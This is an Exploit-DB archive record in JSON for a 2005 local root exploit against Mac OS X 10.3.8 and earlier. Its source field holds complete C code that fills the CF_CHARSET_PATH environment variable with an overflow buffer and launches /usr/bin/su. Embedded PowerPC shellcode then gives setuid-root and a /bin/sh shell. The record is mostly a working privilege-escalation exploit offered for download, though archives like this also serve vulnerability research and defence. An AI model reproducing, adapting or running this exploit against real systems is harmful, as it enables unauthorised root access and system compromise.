{"id": "EDB-ID:896", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Mac OS X <= 10.3.8 CF_CHARSET_PATH Local Root Buffer Overflow", "description": "Mac OS X <= 10.3.8 (CF_CHARSET_PATH) Local Root Buffer Overflow. Local exploit for osx platform", "published": "2005-03-22T00:00:00", "modified": "2005-03-22T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/896/", "reporter": "vade79", "references": [], "cvelist": [], "lastseen": "2016-01-31T13:07:49", "viewCount": 9, "enchantments": {"score": {"value": -0.2, "vector": "NONE", "modified": "2016-01-31T13:07:49", "rev": 2}, "dependencies": {"references": [], "modified": "2016-01-31T13:07:49", "rev": 2}, "vulnersScore": -0.2}, "sourceHref": "https://www.exploit-db.com/download/896/", "sourceData": "/*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********\r\n* *\r\n* by: v9@fakehalo.us (fakehalo/realhalo) *\r\n* *\r\n* found by: iDefense (anon finder) *\r\n* *\r\n* saw the advisory on bugtraq and figured i'd slap this *\r\n* together, so simple i had to. exploits via the *\r\n* /usr/bin/su binary. you must press ENTER at the *\r\n* \"Password: \" prompt. *\r\n***********************************************************/\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\nstatic char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */\r\n\"\\x7c\\x63\\x1a\\x79\\x40\\x82\\xff\\xfd\\x7d\\x68\\x02\\xa6\\x3b\\xeb\"\r\n\"\\x01\\x70\\x39\\x40\\x01\\x70\\x39\\x1f\\xfe\\xdf\\x7c\\x68\\x19\\xae\"\r\n\"\\x38\\x0a\\xfe\\xa7\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x7c\\xa5\"\r\n\"\\x2a\\x79\\x38\\x7f\\xfe\\xd8\\x90\\x61\\xff\\xf8\\x90\\xa1\\xff\\xfc\"\r\n\"\\x38\\x81\\xff\\xf8\\x38\\x0a\\xfe\\xcb\\x44\\xff\\xff\\x02\\x7c\\xa3\"\r\n\"\\x2b\\x78\\x38\\x0a\\xfe\\x91\\x44\\xff\\xff\\x02\\x2f\\x62\\x69\\x6e\"\r\n\"\\x2f\\x73\\x68\\x58\";\r\nint main(void){\r\nunsigned int i=0;\r\nchar *buf,*env[3];\r\nprintf(\"(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\\n\");\r\nprintf(\"(*)by: v9@fakehalo.us, found by iDefense adv. (anon)\\n\\n\");\r\nif(!(buf=(char *)malloc(1100+1)))exit(1);\r\nmemcpy(buf,\"CF_CHARSET_PATH=\",16);\r\nprintf(\"[*] setting up the environment.\\n\");\r\nfor(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));\r\nenv[0]=buf;\r\nenv[1]=exec;\r\nenv[2]=NULL;\r\nprintf(\"[*] executing su... (press ENTER at the \\\"Password: \\\"\"\r\n\" prompt)\\n\\n\");\r\nif(execle(\"/usr/bin/su\",\"su\",0,env))\r\n printf(\"[!] failed executing /usr/bin/su.\\n\");\r\nexit(0);\r\n}\n\n// milw0rm.com [2005-03-22]\n", "osvdbidlist": []}

{}